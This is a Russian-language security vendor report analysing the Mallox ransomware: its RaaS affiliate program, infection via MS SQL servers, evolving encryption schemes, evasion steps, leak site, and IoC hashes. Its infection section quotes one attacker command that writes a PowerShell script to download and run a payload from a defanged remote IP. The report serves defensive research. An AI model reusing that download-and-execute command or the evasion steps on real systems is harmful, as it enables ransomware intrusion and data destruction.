Mallox — это опасное и сложное семейство вредоносного ПО, наносящее значительный ущерб организациям по всему миру. В 2023 году был зафиксирован резкий скачок атак с применением шифровальщиков этого семейства, когда общее количество обнаруженных образцов Mallox превысило 700. В первой половине 2024 года злоумышленники продолжали активно разрабатывать вредоносное ПО, выпуская новые версии несколько раз в месяц и рекламируя партнерскую программу Mallox RaaS на форумах даркнета. Цель этой статьи — комплексный технический анализ шифровальщика и истории его развития.
Предыстория
Mallox появился в первой половине 2021 года, а первый известный образец шифровальщика был обнаружен в мае того же года. С самого начала это вредоносное ПО применялось в атаках на компании и организации, управляемых вручную. Образцы адаптировались под каждую жертву, а в сообщении о выкупе вручную указывалось название целевой компании и расширение зашифрованных файлов. Поэтому вредоносные программы этого семейства известны под разными псевдонимами: изначально троянец не назывался Mallox, и каждый исследователь давал ему свое название.
Чтобы показать имена всех разновидностей Mallox за всю историю существования этого семейства, мы проанализировали более 700 образцов и составили таблицу с расширениями, которые они использовали.
2021 г. | Кол-во образцов | 2022 г. | Кол-во образцов | 2023 г. | Кол-во образцов | 1-е полугодие 2024 г. | Кол-во образцов |
.architek | 1 | .avast | 1 | .bitenc | 1 | .hmallox | 2 |
.artiis | 1 | .bozon | 3 | .host | 1 | .ma1x0 | 5 |
.brg | 1 | .bozon3 | 1 | .mallab | 223 | .mallox | 21 |
.herrco | 1 | .carone | 1 | .mallox | 210 | .rmallox | 57 |
.mallox | 6 | .consultransom | 2 | .malloxx | 30 | .tif | 1 |
.servimo | 1 | .deviceZz | 1 | .malox | 63 | ||
.tohnichi | 3 | .exploit | 1 | .maloxx | 8 | ||
.explus | 1 | .xollam | 7 | ||||
.FARGO | 1 | ||||||
.FARGO2 | 1 | ||||||
.FARGO3 | 20 | ||||||
.mallox | 100 | ||||||
.prismchigo | 1 | ||||||
.rexiaa | 1 |
В начале 2023 года издание SuspectFile опубликовало интервью с людьми, которые утверждали, что стоят за Mallox. Они заявили, что приобрели исходный код троянца-шифровальщика в 2022 году. Это может означать, что раньше шифровальщик контролировала другая группа, чем и объясняется переход от уникальных имен для каждой жертвы к единому «бренду» Mallox.
В большинстве статей и публикаций в блогах семейство называют Mallox, Tohnichi, Fargo или TargetCompany.
Хронология
Судя по временным меткам PE-файлов в обнаруженных образцах, которые не были изменены и отражают их фактические даты выпуска, можно выделить несколько всплесков активности: конец 2022 года, начало и конец 2023 года.
Обнаруженные образцы Mallox (по меткам времени PE-файлов; скачать)
Количеством образцов Mallox в дикой природе коррелирует с данными телеметрии Kaspersky Security Network (KSN). KSN — это наша система обработки данных о киберугрозах, которая анализирует информацию, добровольно предоставляемую пользователями «Лаборатории Касперского». На графике ниже видны всплески количества уникальных пользователей, столкнувшихся с шифровальщиком Mallox, в марте и октябре 2023 года. Они подтверждают данные с предыдущего графика и указывают на повышенную активность группы в эти периоды.
Активность шифровальщика Mallox (скачать)
Продвижение по модели RaaS
В январе 2023 года на даркнет-форуме RAMP пользователь под именем Mallox опубликовал сообщение о партнерской программе «шифровальщик как услуга» с одноименным названием.
В объявлении говорится, что владельцы RaaS ищут «пентестеров», то есть партнеров, готовых находить целевые компании и проникать в их системы. Приоритет отдается партнерам, которые уже получили несанкционированный доступ ко многим организациям и (или) крупным сетям. Таким партнерам предлагается 80% прибыли, а тем, у кого нет значительного количества легкодоступных жертв, — 70% от выкупа.
В объявлении подчеркивается, что злоумышленники ищут долгосрочные отношения только с опытными партнерами. Они не хотят тратить время на начинающих и не занимаются обучением. Представитель программы RaaS также подчеркивает, что они не работают с англоязычными партнерами.
В другом сообщении на RAMP в сентябре 2023 года тот же пользователь сообщил, что группа готова купить учетные данные для доступа к сетям жертв — вероятно, для самостоятельного запуска атак с использованием шифровальщиков.
Market — Access (SSH/RDP/VNC/Shell) / Ищем поставщика доступов.Сотрудничество\Реализация.
Заберем доступы под реализацию. Условия сортудничества — оговариваются лично. Контакты джаббер: [redacted] |
Это сообщение помогает лучше разобраться в бизнес-модели создателей Mallox RaaS. Они ищут богатые компании-жертвы с доходом от 10 миллионов долларов и более в любой из пяти указанных стран. При этом они избегают атак на образовательные, правительственные и медицинские учреждения.
Статистика по партнерам RaaS
Проанализировав образцы Mallox, мы смогли определить, что начиная с 2022 года разработчики добавили в свой зловред функцию ведения отчетов по коммуникациям с командными серверами. При этом передается информация о каждом зараженном компьютере, а что еще интереснее — к HTTP-запросу троянца добавляется строка с идентификатором партнера. Мы извлекли эти идентификаторы из полученных образцов и оценили распределение образцов между партнерами в ходе развития программы RaaS.
Строка идентификатора партнера | Кол-во образцов |
admin | 72 |
amigosbos9k | 55 |
bitenc | 1 |
bloodbeard | 2 |
caneddy | 1 |
grinder | 10 |
hiervos | 251 |
last | 1 |
lastsmile | 2 |
leandra56 | 1 |
loader | 7 |
maestro | 170 |
mallox | 2 |
Neuroframe | 11 |
panda | 42 |
samuel | 13 |
truetl | 4 |
UserHelp | 4 |
vampir | 65 |
Мы также проанализировали изменения в распределении образцов среди наиболее активных партнеров по годам. Они указывают на то, что после запуска программы RaaS к ней быстро присоединилось 16 активных партнеров, с которыми связано 500 образцов шифровальщика, а затем, в первой половине 2024 года, их число сократилось. На момент написания этой статьи мы зафиксировали всего 19 действующих партнеров Mallox RaaS.
Примечательно, что первые пять партнеров, начавших работать с Mallox в 2022 году, продолжают сотрудничество и в 2024 году. Это может означать, что основные подписчики довольны условиями программы и предпочитают ее другим аналогам на рынке даркнета.
Обратите внимание, что на момент написания этого отчета данные за 2024 год охватывали только первое полугодие.
Типичный сценарий заражения
Партнеры Mallox могут свободно выбирать способы взлома сетей жертв. Некоторые из наблюдаемых нами кампаний распространяли спам с вредоносными вложениями. А в ходе недавней кампании в Китае злоумышленники предположительно воспользовались уязвимостью в программном обеспечении IP-Guard для первоначального доступа.
Анализ данных KSN показал, что одним из наиболее распространенных векторов заражения, используемых партнерами Mallox, было проникновение на серверы MS SQL или PostgreSQL с доступом в интернет. Для достижения этой цели злоумышленники обычно используют уязвимости RCE на необновленных серверах MS SQL, например CVE-2019-1068 или CVE-2020-0618, или проводят атаки методом полного перебора или перебором по словарю.
Скомпрометированный процесс сервера MS SQL выполняет команду, создающую скрипт PowerShell, и запускает его с помощью команды sqlps. Затем он выполняет полезную нагрузку первого этапа в формате PE, загруженную этим скриптом PowerShell.
1 |
cmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]//<ip address>/scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat"" |
Исполняемый файл первого этапа в атаках Mallox обычно представляет собой либо образец Remcos RAT, который операторы используют для удаленного доступа к скомпрометированной сети, либо загрузчик .NET, автоматически извлекающий полезную нагрузку второго этапа в формате PE, представляющую собой троянец-шифровальщик. Загрузчики .NET, используемые в этой схеме, в основном просты: они загружают бинарный файл с жестко закодированного URL-адреса, расшифровывают его с помощью цикла XOR и выполняют в памяти.
Анализ
С момента обнаружения первой версии Mallox появилось несколько сотен различных образцов шифровальщика. При этом разработчики продолжают улучшать троянца и добавлять новые функции. Для удобства мы разделили найденные образцы на несколько версий. Ниже мы подробно проанализируем первую и последнюю известные версии. Мы также представим сравнительную таблицу с другими известными версиями, чтобы показать развитие троянца, какие функции добавлялись и как менялась криптографическая схема.
Самая ранняя известная версия Mallox (9b772efb921de8f172f21125dd0e0ff7, v1)
Образец, обнаруженный в середине мая 2021 года, является первым известным исполняемым файлом из семейства шифровальщиков Mallox и считается оригинальной версией. Мы обнаружили несколько аналогичных образцов с разными расширениями и сообщениями о выкупе, в которых явно указаны названия организаций-жертв. Это один из немногих вариантов Mallox, который поддерживает ведение журнала отладки и выводит на консоль ошибки и другую информацию о процессе шифрования. В более поздних версиях функция ведения журнала была удалена или исключена из финальной сборки.
Сообщение о выкупе, оставленное оригинальной версией Mallox, типично для шифровальщиков: оно включает уникальный идентификатор жертвы, условия расшифровки файлов, угрозу публикации украденных данных и адрес Tor-сайта для переговоров. Чтобы доказать свою способность расшифровывать файлы, злоумышленники предлагают восстановить несколько тестовых зашифрованных файлов, не содержащих важных данных. В этой версии название организации-жертвы явно указывалось внутри требования о выкупе.
Подготовка к шифрованию
Перед началом шифрования файлов троянец выполняет несколько подготовительных шагов. Сначала он проверяет языковые настройки операционной системы жертвы. Если на устройстве установлен русский, казахский, татарский, белорусский или украинский язык, шифровальщик прекращает работу. Разработчики вредоносных программ часто так поступают, чтобы избежать уголовного преследования в странах, где говорят на этих языках. Однако в интервью, опубликованном в январе 2023 года, представитель Mallox пояснил эти ограничения так: «Запрет на деятельность в этих регионах — это сугубо личное решение разработчика. У нас нет предвзятости или предпочтений в выборе стран для работы». В том же интервью заявлено, что код проекта ранее использовался другими группами вымогателей, а затем был приобретен нынешними злоумышленниками. Это означает, что ранние образцы могут не иметь отношения к текущим владельцам Mallox — или что ими могли пользоваться несколько независимых групп.
Если основной язык операционной системы не входит в список исключений, процесс шифровальщика получает привилегии SeTakeOwnershipPrivilege и SeDebugPrivilege. Затем он удаляет ключи и значения из реестра с помощью WinAPI-функции SHDeleteKeyW, предположительно, чтобы обойти защиту системы.
После этого Mallox удаляет теневые копии с помощью утилиты vssadmin.exe и полностью отключает среду восстановления Windows.
Перечисление дисков и исключения
Mallox шифрует данные на всех дисках от A до Z, если они имеют следующие типы: DRIVE_REMOTE, DRIVE_REMOVABLE или DRIVE_FIXED. Он также поддерживает извлечение путей для шифрования из текстовых файлов, пути к которым передаются посредством аргументов командной строки, таких как -p и -d. Если указан аргумент -d <путь_к_текстовому_файлу>, шифровальщик шифрует только пути, указанные в текстовом файле, и не шифрует диски устройства рекурсивно. Если указан аргумент -p <путь_к_текстовому_файлу>, сначала шифруются пути из текстового файла, а затем все данные на локальных дисках. Ниже приведен полный список аргументов, поддерживаемых оригинальной версией Mallox.
Аргумент | Описание |
-d <путь> | Ожидает путь к текстовому файлу и шифрует только указанные в нем пути. |
-p <путь> | Ожидает путь к текстовому файлу, сначала шифрует указанные в нем пути, а затем — диски. |
-l <путь> | Ожидает путь к текстовому файлу. Не замечено, чтобы аргумент на что-то влиял. |
Для расчета количества потоков шифрования файлов Mallox применяет WinAPI-функцию GetSystemInfo. Он получает от этой функции значение dwNumberOfProcessors и удваивает его. При этом максимальное количество потоков равно 64.
Mallox поддерживает настройку списков исключений. В шифровальщик встроены списки расширений, имен папок и файлов, которые нельзя шифровать. В списке имен папок указаны папки операционной системы и некоторых известных приложений. Интересно, что среди исключений есть файл debugLog.txt, который, вероятно, нужен для отладки.
Ниже приведен псевдокод для перебора дисков, который выполняется, если не указан аргумент -d. Как видно из кода, в Mallox предусмотрено два метода перечисления каталогов и файлов: через NTFS и через WinAPI-функции.
Шифрование
Злоумышленники реализовали в Mallox нетривиальную схему шифрования, которая включает несколько криптографических алгоритмов.
Каждый раз при запуске Mallox генерирует новый пользовательский закрытый ключ ECC (на эллиптических кривых), который используется в сочетании с протоколом согласования ключей ECDH (протокол Диффи — Хеллмана на эллиптических кривых Curve25519). Для генерации этого закрытого ключа шифровальщик использует генератор псевдослучайных чисел (PRNG) на основе алгоритма Вихрь Мерсенна. Начальное число (зерно) для него создается с помощью WinAPI-функции CryptGenRandom. Если возникают проблемы с инициализацией криптопровайдера (функция CryptGenRandom недоступна), начальное число генерируется с помощью другого набора функций: QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId и инструкции __rdtsc. Выходные данные этих функций перемножаются и используются в качестве начального числа для «Вихря Мерсенна».
Сгенерированный закрытый ключ ECC имеет размер 32 байта. На основе этого закрытого ключа троянец генерирует соответствующий открытый ключ ECC. Затем троянец вычисляет общий секрет с помощью протокола ECDH, используя закрытый ключ ECC пользователя и открытый мастер-ключ ECC злоумышленника, вшитый в код троянца. Закрытый ключ ECC пользователя нигде не хранится. Открытый ключ ECC добавляется к каждому зашифрованному файлу и используется злоумышленниками для вычисления общего секрета.
На рисунке ниже первый вызов функции Curve25519 генерирует открытый ключ пользователя, а второй вызов создает общий ключ, который затем хэшируется с помощью SHA-256.
Первые шесть байтов открытого ключа ECC пользователя в шестнадцатеричном формате выступают в роли уникального идентификатора жертвы, называемого в записке о выкупе «персональным идентификатором» (personal identifier). Он не зависит от устройства, и при каждом запуске шифровальщика генерируется новое уникальное значение.
Файлы, не входящие в списки исключений, шифруются с помощью потокового шифра ChaCha20. Ключ и одноразовый код (nonce) для ChaCha шифруются с помощью алгоритма симметричного шифрования AES-128 в режиме CTR. Ключом для AES служит первая половина хэша SHA-256 общего секретного ключа, полученного ранее с помощью протокола ECDH.
Файлы размером до 10 240 байт шифруются полностью. Файлы большего размера шифруются полосовым методом: сначала файл разбивается на 100 частей, а затем каждая часть — на 100 фрагментов. Каждый фрагмент шифруется с помощью ChaCha. Если размер фрагмента меньше 4096 байт, вредоносная программа увеличивает его до 4096 байт перед шифрованием.
В конце каждого зашифрованного файла Mallox добавляет структуру, которую мы назвали «техническим буфером». В ней хранится информация, необходимая для расшифровки файла. Рассматриваемый образец Mallox содержит минималистичный буфер, который включает только зашифрованный ключ, одноразовый код для ChaCha, вектор инициализации (IV) для AES и открытый ключ ECC пользователя. Открытый ключ ECC нужен злоумышленникам для восстановления общего секрета и вычисления его хэша SHA-256. Первая половина этого хэша служит ключом для CTR AES-128 и вместе с IV необходима для расшифровки ключа ChaCha и одноразового кода.
На рисунке ниже ключ ChaCha и одноразовый код показаны красным, CTR AES — синим, а открытый ключ ECC пользователя — оранжевым.
После завершения шифрования исполняемый файл удаляется с помощью команды del.
Коммуникация с командным сервером атакующих
Перед началом шифрования файлов Mallox отправляет по HTTP POST-запрос на сервер злоумышленника следующую информацию о зараженном устройстве: уникальный идентификатор жертвы, полученный из открытого ключа, имя локального компьютера и DNS-имя основного домена, полученное с помощью вызова LsaQueryInformationPolicy с параметром PolicyDnsDomainInformation.
После завершения шифрования зловред снова отправляет запрос на сервер злоумышленника с идентификатором жертвы и информацией о зашифрованных дисках.
Актуальная версия Mallox (e98b3a8d2179e0bd0bebba42735d11b7, v12)
Это одна из последних версий шифровальщика Mallox, обнаруженная в марте 2024 года. Ниже представлен анализ этой версии, сосредоточенный на разнице между первой и актуальными версиями.
Одно из значительных изменений в более поздних версиях Mallox касалось формата записки о выкупе. В оригинальной версии явно указывалось название атакованной компании и устройства, тогда как в более поздних версиях чаще встречались записки и расширения зашифрованных файлов, не связанные с именами конкретных компаний.
Новые аргументы
Аргумент | Описание |
-path <путь> | Не работает в этой версии. Ожидает путь для шифрования. |
-queue <целое число> | Не работает в этой версии. Ожидает целое число. |
В более поздние версии шифровальщика были добавлены два новых аргумента, однако в актуальной версии не работают ни старые, ни новые аргументы. Все аргументы, передаваемые через командную строку, проверяются с помощью функции PathFileExistsW. Следовательно, шифровальщик принимает в качестве аргументов только пути к файлам: mallox.exe <путь1> <путь2>… <путьN> .
Добавление любых аргументов, не являющихся путями, таких как -p, -d, -l, -path и -queue, приводит к ошибке. Если переданы существующие пути, шифровальщик проверяет, запущен ли он с правами администратора, и если да, шифрует файлы по указанным путям. Если зловред работает без прав администратора, он пытается их получить, перезапустив себя с помощью ShellExecuteW и передав «runas» в качестве значения для параметра lpOperation для запуска от имени администратора.
Подготовка к шифрованию
Mallox устанавливает высокопроизводительную схему питания компьютера, вероятно, чтобы повысить производительность и скорость шифрования.
В этой версии троянец получил возможность завершения активных процессов с помощью WinAPI-функции TerminateProcess, чтобы они не блокировали файлы пользователя и не мешали шифрованию. Список завершаемых процессов в основном включает базы данных, такие как SQL Server, Oracle Database, Pervasive PSQL и MySQL.
Еще одна новая функция связана со службами: троянец может их отключать и останавливать через диспетчер служб с помощью функций ChangeServiceConfig и ControlService.
Если пользователь пытается завершить работу или перезапустить операционную систему, Mallox старается это предотвратить. Используя функцию ShutdownBlockReasonCreate, шифровальщик заставляет ОС отображать предупреждение о возможном повреждении файлов, если пользователь не прервет выключение или перезагрузку.
Перед началом шифрования троянец модифицирует ключи реестра в HKEY_LOCAL_MACHINE, отключая UAC и скрывая кнопки «Завершить работу», «Перезагрузить» и «Выйти».
Шифрование
В актуальной версии схема генерации ключей претерпела существенные изменения. Предположительно разработчики Mallox изменили алгоритм в попытке исправить уязвимости более ранних версий зловреда, позволяющие расшифровывать файлы жертв без закрытого ключа злоумышленников.
В рассматриваемой версии для генерации общего секрета используются три значения, встроенные в код: два открытых мастер-ключа ECC (master_public_key_1 и master_public_key_2), сгенерированные злоумышленником, и вшитый в код 12-байтовый массив. Новая схема представлена ниже:
- При запуске троянец генерирует 56 случайных байт с помощью CTR_DRBG.
- Двенадцать байтов в середине этого 56-байтового массива заменяются вшитыми в код байтами.
- Полученные 56 байт хэшируются с помощью SHA-256.
- Троянец генерирует user_private_key по протоколу ECDH (Curve25519) на основе результата хэширования и master_public_key_1.
- Троянец генерирует user_public_key по протоколу ECDH (Curve25519) на основе user_secret_key и базовой точки эллиптической кривой.
- Троянец генерирует общий секрет share_key по протоколу ECDH (Curve25519) на основе user_secret_key и master_public_key_2.
- Позже получившийся share_key хэшируется с помощью SHA-256.
Ниже представлена упрощенная схема этого процесса.
Изменился и алгоритм шифрования файлов: теперь используется AES-256 в режиме GCM. Ключи для AES GCM генерируются с помощью ISAAC PRNG, начальное значение (зерно) при этом берется из выходных данных API-функции BCryptGenRandom, совмещенных с PRNG «Вихрь Мерсенна». Эти ключи по-прежнему шифруются с использованием AES-128 в режиме CTR. Для этого используется первая половина хэша SHA-256 ключа share_key.
«Технический буфер», добавляемый в конце каждого зашифрованного файла, был расширен. Его начало и конец обозначены маркерами 0x02010201 и 0x04030403, отмеченными зеленым цветом на изображении ниже. В этой версии шифровальщик шифрует первые 60% файла — общее количество зашифрованных фрагментов выделено розовым цветом. По сравнению с оригинальной версией фрагменты имеют размер 0x800000 байт, расположены подряд и зашифрованы целиком без дальнейшего разделения. Фиолетовым цветом обозначен размер исходного файла, красным — зашифрованный ключ и IV для AES-256-GCM, синим — IV для AES-128-CTR, который используется для шифрования ключей AES-256-GCM, оранжевым — user_public_key.
Коммуникация с командным сервером атакующих
Сначала шифровальщик получает внешний IP-адрес зашифрованного устройства через сторонний общедоступный сервис. Затем он собирает информацию о пользователе, устройстве, сети, дисках и файлах и отправляет ее на командный сервер злоумышленника через HTTP POST-запрос.
Если все данные получены и обработаны успешно, сервер отвечает Successfully_added.
Хронология версий Mallox
Мы отслеживали множество образцов Mallox с момента появления первой версии в 2021 году. За это время было найдено почти 700 разных образцов, которые мы для удобства разделили на 12 версий. Это разделение основано на изменениях в функциональности или криптографии шифровальщиков. Стоит отметить, что образцы троянца не содержат каких-либо внутренних номеров версий. В таблицах ниже мы приводим краткое описание изменений в каждой версии Mallox и MD5-хэш одного из образцов, относящихся к этой версии.
Хэши образцов (MD5) | Версия | Метка времени PE-файла | Комментарий |
9b772efb921de8f172f21125dd0e0ff7 | 1 | 15 мая 2021 г. | Самая ранняя найденная версия |
79b60f8b5052a9d4cc0c92c2cdc47485 | 2 | 20 ноября 2021 г. | Сообщения о выкупе стали типовыми, предположительно в рамках подготовки к переходу на модель RaaS. |
e713f05a62914496eef512a93a611622 | 3 | 17 февраля 2022 г. | Исправлена уязвимость в схеме шифрования, которая позволяла расшифровывать файлы без закрытых ключей злоумышленников. |
3829a09bca120206883539eb33d55311 | 4 | 9 мая 2022 г. | Отключено самораспространение. Уязвимость остается исправленной. |
a8e214683307adaff39783dc656b398a | 5 (gen) | 10 июня 2022 г. | Убрано исправление уязвимости, выпущенное в версии 3. Добавлена новая схема генерации открытого ключа на основе данных с устройства. Мы называем эту схему «сгенерированный ключ». Добавлен новый аргумент -path. Самораспространение снова включено. |
ac1a255e5c908f12ef68a45fc0043b16 | 6 (emb) | 17 июля 2022 г. | Убрано исправление уязвимости, выпущенное в версии 4. Добавлена новая схема генерации открытого ключа на основе встроенного ключа. Мы называем эту схему «встроенный ключ». |
Начиная с версий 5 и 6, все последующие версии вплоть до 11 использовали две схемы генерации ключей: «сгенерированный ключ» (gen) и «встроенный ключ» (emb). Эти версии использовались параллельно, и если в одном из вариантов вносились изменения, вскоре, иногда в тот же день, появлялся другой вариант с аналогичными изменениями. Далее в этом отчете мы подробно опишем оба метода.
Хэш (MD5) | Версия | Метка времени PE-файла | Комментарий |
b1b42fa300d8f43c6deb98754caf0934 | 7 (gen) | 25 октября 2022 г. | Добавлены функции модификации реестра и сообщение о завершении работы ОС.
Завершен переход на схему распространения RaaS с поддержкой партнерских идентификаторов, которые жестко закодированы в теле троянца и передаются на командный сервер через HTTP-параметр user= . |
3762f98a55f0ec19702f388fc0db74e2 | 8 (emb) | 31 октября 2022 г. | Аналогичен предыдущему, но с другой схемой генерации ключей. |
6bd93817967cdb61e0d7951382390fa0 | 9 (gen) | 18 апреля 2023 г. | Добавлен новый аргумент: -queue. |
c494342b6c84f649dece4df2d3ff1031 | 10 (emb) | 18 апреля 2023 г. | Аналогичен предыдущему, но с другой схемой генерации ключей. |
16e708876c32ff56593ba00931e0fb67 | 11 (emb) | 25 сентября 2023 г. | Переход на версию x64: более поздние версии стали x64, тогда как все предыдущие были x86. Добавлены новые функции: изменение схемы питания, отключение UAC, скрытие кнопок «Завершить работу», «Перезагрузить», «Выйти» и другие. Переход на новый формат аргументов: теперь требуется указывать в аргументах действительные пути к файлам. Кроме того, вместо ChaCha содержимое файла теперь шифруется с помощью AES-256-GCM. |
d32a3478aad766be96f0cdbda1f10091 | 11 (gen) | 26 сентября 2023 г. | Аналогичен предыдущему, но с другой схемой генерации ключей. |
e98b3a8d2179e0bd0bebba42735d11b7 | 12 | 6 марта 2024 г. | Исправлена уязвимость в схемах генерации ключей путем внедрения новой криптостойкой схемы. Добавлен криптографический генератор случайных чисел CTR_DRBG на основе AES. |
Есть одна версия, которая выделяется из этой классификации. Мы назвали ее 1F. Единственные два образца этой версии были обнаружены в июне 2023 года и феврале 2024 года. Несмотря на даты обнаружения, они почти идентичны первой версии, но с исправленной уязвимостью в криптографической схеме. Любопытно, что это исправление отличается от сложных схем шифрования, реализованных в версиях 3, 4 и 12. Вместо этого было внесено небольшое локальное исправление — использование криптостойкого генератора SystemFunction036 (функция RtlGenRandom) для получения начального числа (зерна).
Хэш (MD5) | Версия | Метка времени PE-файла | Комментарий |
98c7f6b6ddf6a01adb25457e9a3c52b8 | 1F | 5 июня 2023 г. | Исправлена уязвимость в схеме генерации ключей версии 1 с использованием RtlGenRandom. |
b13a1e9c7ef5a51f64a58bae9b508e62 | 1F | 23 февраля 2024 г. | Точно такая же версия, как и предыдущая. |
Криптографическая схема в версии v5 и выше: на основе «сгенерированного ключа»
Эта схема использует данные устройства для заполнения массива размером до 56 байт, на основе которого создается закрытый ключ ECC пользователя. Массив формируется с помощью функций GetVolumeInformationW, GetFileTime, GetComputerNameA и инструкции CPUID.
Количество байтов | Источник энтропии | Комментарий |
4 | GetVolumeInformationW | |
16 | __cpuid | |
12 | Встроен в код | Зависит от образцов |
8 | GetFileTime | |
<= 16 | GetComputerNameA | Может быть меньше 16 байт |
Остальная часть схемы включает три вызова Curve25519, как и в последней версии (12). Однако, в отличие от нее, эта схема не является криптостойкой.
Криптографическая схема в версии v6 и выше: на основе «встроенного ключа»
В этом случае для вычисления общего секрета share_key генерация случайных значений не используется. Ключ user_private_key вшит в код троянца, а остальная схема осталась такой же, как в первой версии. Эта схема также не является криптостойкой.
Переговорный портал и DLS-сайт (Data Leak Site)
При шифровании файлов жертвы Mallox создает файл с требованием выкупа, обычно называемый HOW TO BACK FILES.txt (КАК ВЕРНУТЬ ФАЙЛЫ), HOW TO RESTORE FILES.txt (КАК ВОССТАНОВИТЬ ФАЙЛЫ), RECOVERY INFORMATION.txt (ИНФОРМАЦИЯ О ВОССТАНОВЛЕНИИ), FILE RECOVERY.txt (ВОССТАНОВЛЕНИЕ ФАЙЛОВ) или подобным образом. В файле злоумышленники объясняют жертве, как можно с ними связаться и договориться о выкупе: нужно посетить указанный сайт в сети TOR (переговорный портал) и войти в систему с идентификатором жертвы или отправить сообщение на указанный адрес электронной почты.
После аутентификации на переговорном портале жертве открывается страница с информацией:
- Статус: были ли опубликованы эксфильтрованные данные
- Цена выкупа в долларах США и BTC
- Адреса криптокошельков BTC и TETHER TRC-20
- Ответы на часто задаваемые вопросы
- Виджет чата для общения с оператором шифровальщика
На главной странице сайта Mallox с эксфильтрованными данными (DLS), который находится на том же домене, что и переговорный портал, приведен список пострадавших компаний. Таймеры обратного отсчета показывают оставшееся время до публикации украденных данных каждой компании в случае неуплаты выкупа.
Информация о компаниях, которые, по всей видимости, отказались от переговоров, появляется на новой странице при нажатии кнопки View. На этой странице указаны такие подробности, как приблизительный доход жертвы, общий объем украденных данных, ссылки для загрузки архивов с якобы всеми или некоторыми эксфильтрованными файлами и пароль для их распаковки.
Для рекламы и продвижения своей партнерской программы злоумышленники Mallox ведут учетную запись в соцсети X, где регулярно публикуют новости о своих новых жертвах и ссылки для загрузки свежих порций украденных данных.
Жертвы
Географическое распределение уникальных пользователей KSN, столкнувшихся с шифровальщиком Mallox, показывает, что партнеры RaaS не ограничиваются одной страной и активно атакуют уязвимые компании по всему миру. Тем не менее некоторые регионы привлекают особое внимание операторов Mallox. Наибольшее количество попыток заражения зафиксировано в Бразилии, Вьетнаме и Китае.
Распределение атак Mallox по странам (скачать)
Выводы
В нашем отчете представлен подробный обзор шифровальщика Mallox, его характеристик, истории развития и потенциального воздействия на жертв. Поняв природу шифровальщика Mallox и приняв необходимые меры безопасности, компании и организации смогут лучше защитить свои цифровые активы и минимизировать риск стать жертвой этого вредоносного ПО.
Наши рекомендации по улучшению безопасности вашей организации:
- Не используйте службы удаленных рабочих столов (такие как RDP) в публичных сетях без крайней необходимости и всегда создавайте надежные пароли.
- Следите за актуальностью коммерческих VPN-решений и прочего серверного ПО — эксплуатация уязвимостей в программном обеспечении такого рода часто используется в атаках шифровальщиков. Также регулярно обновляйте клиентские приложения.
- В своей стратегии защиты сфокусируйтесь на том, чтобы не допустить распространения вредоносного ПО и утечки данных в интернет. Обращайте особое внимание на исходящий трафик — это позволит обнаружить подключения злоумышленников. Регулярно создавайте резервные копии данных. Обеспечьте быстрый доступ к ним в экстренных случаях. Используйте самую актуальную информацию об угрозах, чтобы знать, какие методы и тактики используют злоумышленники в настоящее время.
- Внедрите сервис Managed Detection and Response (MDR), чтобы выявлять и останавливать атаки на ранних стадиях, прежде чем злоумышленники достигнут своих целей.
- Чтобы защитить корпоративную среду, обучайте своих сотрудников правилам информационной безопасности. Для этого можно воспользоваться специализированными учебными курсами, например на платформе Kaspersky Automated Security Awareness Platform.
- Применяйте комплексные защитные решения, которые объединяют защиту рабочих мест и автоматическое реагирование на инциденты, например Kaspersky Symphony.
Индикаторы компрометации, IoC
MD5
9b772efb921de8f172f21125dd0e0ff7
79b60f8b5052a9d4cc0c92c2cdc47485
e713f05a62914496eef512a93a611622
3829a09bca120206883539eb33d55311
a8e214683307adaff39783dc656b398a
ac1a255e5c908f12ef68a45fc0043b16
b1b42fa300d8f43c6deb98754caf0934
3762f98a55f0ec19702f388fc0db74e2
6bd93817967cdb61e0d7951382390fa0
c494342b6c84f649dece4df2d3ff1031
16e708876c32ff56593ba00931e0fb67
d32a3478aad766be96f0cdbda1f10091
e98b3a8d2179e0bd0bebba42735d11b7
98c7f6b6ddf6a01adb25457e9a3c52b8
b13a1e9c7ef5a51f64a58bae9b508e62
URL-адреса
Как менялся шифровальщик Mallox: детальный анализ